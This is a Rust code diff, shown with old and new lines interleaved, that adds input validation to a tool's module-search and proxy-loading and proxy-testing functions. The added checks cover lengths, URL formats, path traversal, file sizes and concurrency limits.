/// Lists all available modules recursively under src/modules/
pub fn list_all_modules() {
println!("{}", "Available modules:".bold().underline());
let modules = collect_module_paths(Path::new("src/modules"), 0);
@@ -99,8 +234,20 @@ pub fn list_all_modules() {
}
}
/// Finds and displays modules matching a keyword (unchanged)
/// Finds and displays modules matching a keyword with validation
pub fn find_modules(keyword: &str) {
// Input validation
if keyword.is_empty() {
println!("{}", "Keyword cannot be empty.".red());
return;
}
// Limit keyword length
if keyword.len() > 100 {
println!("{}", "Keyword too long (max 100 characters).".red());
return;
}
let keyword_lower = keyword.to_lowercase();
let modules = collect_module_paths(Path::new("src/modules"), 0);
@@ -167,50 +314,159 @@ pub struct ProxyTestSummary {
pub failed: Vec<ProxyTestFailure>,
}
/// Attempt to normalise and validate a proxy entry.
fn normalize_proxy_candidate(line: &str) -> Result<String> {
let trimmed = line.trim();
if trimmed.is_empty() {
return Err(anyhow!("empty line"));
}
let candidate = if trimmed.contains("://") {
trimmed.to_string()
} else {
format!("http://{}", trimmed)
};
let url = Url::parse(&candidate).map_err(|e| anyhow!("invalid proxy syntax: {}", e))?;
/// Validates and sanitizes a proxy URL
fn validate_proxy_url(url: &Url) -> Result<()> {
// Check scheme
if !SUPPORTED_PROXY_SCHEMES.iter().any(|scheme| url.scheme() == *scheme) {
return Err(anyhow!("unsupported proxy scheme '{}'", url.scheme()));
}
if url.host_str().is_none() {
return Err(anyhow!("missing proxy host"));
// Validate host
let host = url.host_str()
.ok_or_else(|| anyhow!("missing proxy host"))?;
// Validate host length
if host.is_empty() {
return Err(anyhow!("proxy host cannot be empty"));
}
if host.len() > 253 { // Max DNS hostname length
return Err(anyhow!("proxy host too long (max 253 characters)"));
}
// Validate hostname format (basic check)
let host_re = Regex::new(r"^[a-zA-Z0-9.\-_:\[\]]+$").unwrap();
if !host_re.is_match(host) {
return Err(anyhow!("invalid proxy host format"));
}
// Check for localhost/private IP abuse (warning only, not blocking)
if host == "localhost" || host == "127.0.0.1" || host == "::1" {
// Allow but could log warning in production
}
if url.port().is_none() {
return Err(anyhow!("missing proxy port"));
// Validate port
let port = url.port()
.ok_or_else(|| anyhow!("missing proxy port"))?;
if port == 0 {
return Err(anyhow!("proxy port cannot be 0"));
}
// Port is already validated to be in u16 range (0-65535) by Url::parse
// We just need to check it's not 0 (already checked above)
// Additional validation: check for common restricted ports if needed
Ok(())
}
/// Attempt to normalise and validate a proxy entry with enhanced security
fn normalize_proxy_candidate(line: &str) -> Result<String> {
let trimmed = line.trim();
// Input validation
if trimmed.is_empty() {
return Err(anyhow!("empty line"));
}
// Length check to prevent DoS
if trimmed.len() > 2048 {
return Err(anyhow!("proxy line too long (max 2048 characters)"));
}
// Sanitize input - remove control characters (but allow newline/carriage return for line processing)
let sanitized: String = trimmed
.chars()
.filter(|c| {
let ch = *c;
!ch.is_control() || ch == '\n' || ch == '\r'
})
.collect();
if sanitized.is_empty() {
return Err(anyhow!("proxy line contains only invalid characters"));
}
// Add scheme if missing
let candidate = if sanitized.contains("://") {
sanitized
} else {
format!("http://{}", sanitized)
};
// Parse URL
let url = Url::parse(&candidate)
.map_err(|e| anyhow!("invalid proxy syntax: {}", e))?;
// Validate the proxy URL
validate_proxy_url(&url)?;
Ok(candidate)
}
/// Load proxies from a file, returning a summary containing valid proxies and skipped entries.
/// Load proxies from a file with enhanced security and validation
pub fn load_proxies_from_file(filename: &str) -> Result<ProxyLoadSummary> {
let file = fs::File::open(filename)
// Input validation
if filename.is_empty() {
return Err(anyhow!("filename cannot be empty"));
}
// Path validation - prevent path traversal
let path = Path::new(filename);
// Check for path traversal attempts
if filename.contains("..") {
return Err(anyhow!("path traversal detected in filename: '{}'", filename));
}
// Resolve to absolute path to check
let canonical = path.canonicalize()
.map_err(|e| anyhow!("failed to resolve file path '{}': {}", filename, e))?;
// Check file exists and is a regular file
if !canonical.is_file() {
return Err(anyhow!("'{}' is not a regular file", filename));
}
// Check file size to prevent reading huge files
let metadata = fs::metadata(&canonical)
.with_context(|| format!("failed to read file metadata for '{}'", filename))?;
if metadata.len() > MAX_FILE_SIZE {
return Err(anyhow!(
"file too large (max {} bytes, got {} bytes)",
MAX_FILE_SIZE,
metadata.len()
));
}
// Open file
let file = fs::File::open(&canonical)
.with_context(|| format!("failed to open proxy file '{}'", filename))?;
let reader = BufReader::new(file);
let mut proxies = Vec::new();
let mut skipped = Vec::new();
let mut line_count = 0usize;
for (idx, line_res) in reader.lines().enumerate() {
line_count = idx + 1;
// Limit number of lines to process
if line_count > MAX_PROXIES {
skipped.push(ProxyParseError {
line_number: line_count,
content: format!("... (truncated after {} lines)", MAX_PROXIES),
reason: format!("file exceeds maximum line limit ({})", MAX_PROXIES),
});
break;
}
let raw_line = line_res
.with_context(|| format!("failed to read line {} in '{}'", idx + 1, filename))?;
let trimmed = raw_line.trim();
// Skip empty lines and comments
if trimmed.is_empty() || trimmed.starts_with('#') || trimmed.starts_with("//") {
continue;
}
@@ -219,47 +475,99 @@ pub fn load_proxies_from_file(filename: &str) -> Result<ProxyLoadSummary> {
Ok(proxy) => proxies.push(proxy),
Err(err) => skipped.push(ProxyParseError {
line_number: idx + 1,
content: trimmed.to_string(),
content: if trimmed.len() > 100 {
format!("{}...", &trimmed[..100])
} else {
trimmed.to_string()
},
reason: err.to_string(),
}),
}
}
if proxies.is_empty() {
return Err(anyhow!("no valid proxies found in '{}'", filename));
return Err(anyhow!("no valid proxies found in '{}' (processed {} lines)", filename, line_count));
}
// Limit number of proxies
if proxies.len() > MAX_PROXIES {
let original_count = proxies.len();
proxies.truncate(MAX_PROXIES);
return Err(anyhow!(
"too many proxies (max {}, found {}). Truncated to {}",
MAX_PROXIES,
original_count,
MAX_PROXIES
));
}
Ok(ProxyLoadSummary { proxies, skipped })
}
/// Test proxies concurrently and return which passed connectivity checks.
/// Test proxies concurrently with enhanced validation and resource limits
pub async fn test_proxies(
proxies: &[String],
test_url: &str,
timeout_secs: u64,
max_parallel: usize,
) -> ProxyTestSummary {
// Input validation
if proxies.is_empty() {
return ProxyTestSummary {
working: Vec::new(),
failed: Vec::new(),
};
}
// Validate and limit inputs
let timeout_secs = timeout_secs.min(MAX_PROXY_TIMEOUT_SECS).max(1);
let max_parallel = max_parallel.min(MAX_PARALLEL_PROXIES).max(1);
// Limit number of proxies to test
let proxies_to_test = if proxies.len() > MAX_PROXIES {
&proxies[..MAX_PROXIES]
} else {
proxies
};
// Validate test URL
let test_url = test_url.trim();
if test_url.is_empty() {
return ProxyTestSummary {
working: Vec::new(),
failed: proxies_to_test.iter().map(|p| ProxyTestFailure {
proxy: p.clone(),
reason: "test URL is empty".to_string(),
}).collect(),
};
}
// Validate URL format
if let Err(e) = Url::parse(test_url) {
return ProxyTestSummary {
working: Vec::new(),
failed: proxies_to_test.iter().map(|p| ProxyTestFailure {
proxy: p.clone(),
reason: format!("invalid test URL: {}", e),
}).collect(),
};
}
let timeout = Duration::from_secs(timeout_secs.max(1));
let parallel = max_parallel.max(1);
let semaphore = Arc::new(Semaphore::new(parallel));
let timeout = Duration::from_secs(timeout_secs);
let semaphore = Arc::new(Semaphore::new(max_parallel));
let mut tasks = FuturesUnordered::new();
for proxy in proxies.iter().cloned() {
for proxy in proxies_to_test.iter().cloned() {
let test_url = test_url.to_string();
let semaphore = Arc::clone(&semaphore);
tasks.push(tokio::spawn(async move {
let permit = semaphore.acquire_owned().await;
if permit.is_err() {
return (proxy, Err(anyhow!("failed to acquire semaphore permit")));
}
let _permit = permit.unwrap();
let permit = match semaphore.acquire_owned().await {
Ok(p) => p,
Err(_) => {
return (proxy, Err(anyhow!("failed to acquire semaphore permit")));
}
};
let _permit = permit;
let result = check_proxy(&proxy, &test_url, timeout).await;
(proxy, result)
}));
@@ -287,10 +595,26 @@ pub async fn test_proxies(
summary
}
/// Check a single proxy with enhanced error handling and validation
async fn check_proxy(proxy: &str, test_url: &str, timeout: Duration) -> Result<()> {
// Validate inputs
if proxy.is_empty() {
return Err(anyhow!("proxy cannot be empty"));
}
if test_url.is_empty() {
return Err(anyhow!("test URL cannot be empty"));
}
// Validate URL format
let _test_url_parsed = Url::parse(test_url)
.map_err(|e| anyhow!("invalid test URL '{}': {}", test_url, e))?;
// Create proxy configuration
let proxy_cfg = reqwest::Proxy::all(proxy)
.with_context(|| format!("invalid proxy '{}'", proxy))?;
// Build HTTP client with timeout
let client = reqwest::Client::builder()
.timeout(timeout)
.proxy(proxy_cfg)
@@ -298,16 +622,20 @@ async fn check_proxy(proxy: &str, test_url: &str, timeout: Duration) -> Result<(
.build()
.context("failed to build reqwest client")?;
// Make request with timeout
let response = client
.get(test_url)
.timeout(timeout)
.send()
.await
.with_context(|| format!("request via proxy '{}' failed", proxy))?;
if !response.status().is_success() {
// Check response status
let status = response.status();
if !status.is_success() {
return Err(anyhow!(
"received HTTP status {} while hitting {}",
response.status(),
status,
test_url
));
}
BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 349 KiB